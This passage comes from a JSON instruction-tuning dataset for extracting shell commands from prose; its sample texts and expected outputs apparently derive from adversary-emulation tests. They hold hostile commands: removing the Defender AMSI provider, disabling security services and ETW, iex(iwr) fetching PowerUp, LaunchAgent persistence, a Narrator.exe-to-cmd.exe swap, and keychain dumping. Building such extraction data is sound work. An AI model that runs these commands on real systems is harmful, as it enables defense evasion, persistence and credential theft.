unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test removes the Windows Defender provider registry key, which disables AMSI inspection when executed with administrative rights using the command: Remove-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -Recurse; With administrative access, security services such as McAfeeDLPAgentService can be stopped and disabled via the following commands: \nnet.exe stop #{service_name}\nsc.exe config #{service_name} start= disabled\n. Ensure the service is stopped by checking its status with 'sc query McAfeeDLPAgentService'.",
    "output": "{\"command_list\": [\"Remove-Item -Path \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\AMSI\\\\Providers\\\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\\" -Recurse\\n\", \"net.exe stop #{service_name}\\nsc.exe config #{service_name} start= disabled\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create and execute a plist file, use the following commands:\nif [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;\nsudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}\nsudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}\n; This test creates persistence by executing a script via the macOS Event Monitor Daemon with the command: sudo cp #{script_location} #{script_destination}\nsudo touch /private/var/db/emondClients/#{empty_file}\n",
    "output": "{\"command_list\": [\"if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;\\nsudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}\\nsudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}\\n\", \"sudo cp #{script_location} #{script_destination}\\nsudo touch /private/var/db/emondClients/#{empty_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method replaces Narrator.exe with cmd.exe, granting access to an elevated command prompt via the Accessibility menu, with the command:\nIF NOT EXIST C:\\Windows\\System32\\Narrator_backup.exe (copy C:\\Windows\\System32\\Narrator.exe C:\\Windows\\System32\\Narrator_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Narrator.exe /A\nicacls C:\\Windows\\System32\\Narrator.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Narrator.exe\n; To extract credential information from the login.keychain, use the following command: sudo security dump-keychain -d login.keychain",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Narrator_backup.exe (copy C:\\\\Windows\\\\System32\\\\Narrator.exe C:\\\\Windows\\\\System32\\\\Narrator_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Narrator.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Narrator.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Narrator.exe\\n\", \"sudo security dump-keychain -d login.keychain\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable ETW for the .NET Framework, you can set the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the following PowerShell command: New-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. Note that a reboot may be required for the changes to take effect.; To simulate DNS query redirection, adversaries can manipulate the Name Resolution Policy Table by using the following command: Add-DnsClientNrptRule -Namespace \".endpoint.security.microsoft.com\" -NameServers 127.0.0.1 -Comment \"Silenced by Name Resolution Policy Table\"\nAdd-DnsClientNrptRule -Namespace \"endpoint.security.microsoft.com\" -NameServers 127.0.0.1 -Comment \"Silenced by Name Resolution Policy Table\"\nClear-DnsClientCache",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\\\" -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\", \"Add-DnsClientNrptRule -Namespace \\\".endpoint.security.microsoft.com\\\" -NameServers 127.0.0.1 -Comment \\\"Silenced by Name Resolution Policy Table\\\"\\nAdd-DnsClientNrptRule -Namespace \\\"endpoint.security.microsoft.com\\\" -NameServers 127.0.0.1 -Comment \\\"Silenced by Name Resolution Policy Table\\\"\\nClear-DnsClientCache\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To stop a specific service by sending a SIGTERM signal, use the following command: sudo kill -SIGTERM $(pgrep #{process_name}). This will terminate the service's main process if it's running, otherwise nothing will happen.; When you need to stop a service and its associated processes, execute this command: sudo pkill -SIGTERM #{process_pattern}",
    "output": "{\"command_list\": [\"sudo kill -SIGTERM $(pgrep #{process_name})\\n\", \"sudo pkill -SIGTERM #{process_pattern}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The desktop can be captured with a PowerShell script that calls the .NET API, using the following command: Add-Type -AssemblyName System.Windows.Forms\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\n$bitmap.Save(\"#{output_file}\"); To detect the enabling of the Windows Recall feature, which adversaries might activate during post-exploitation by manipulating the registry, use the following commands: reg add \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\WindowsAI\" /v DisableAIDataAnalysis /f\n",
    "output": "{\"command_list\": [\"Add-Type -AssemblyName System.Windows.Forms\\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\\n$bitmap.Save(\\\"#{output_file}\\\")\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsAI\\\" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f\\nreg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsAI\\\" /v DisableAIDataAnalysis /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a C source code file, modify its ownership, and set file attributes, use the following command sequence: cp #{payload} /tmp/hello.c\nchown root /tmp/hello.c\nmake /tmp/hello\nchown root /tmp/hello\nchmod u+s /tmp/hello\n/tmp/hello; To set the SetUID flag on a file in FreeBSD, use the following commands: sudo touch #{file_to_setuid}\nsudo chown root #{file_to_setuid}\nsudo chmod u+xs #{file_to_setuid}\n",
    "output": "{\"command_list\": [\"cp #{payload} /tmp/hello.c\\nchown root /tmp/hello.c\\nmake /tmp/hello\\nchown root /tmp/hello\\nchmod u+s /tmp/hello\\n/tmp/hello\\n\", \"sudo touch #{file_to_setuid}\\nsudo chown root #{file_to_setuid}\\nsudo chmod u+xs #{file_to_setuid}\\n\"]}"
  },
  {
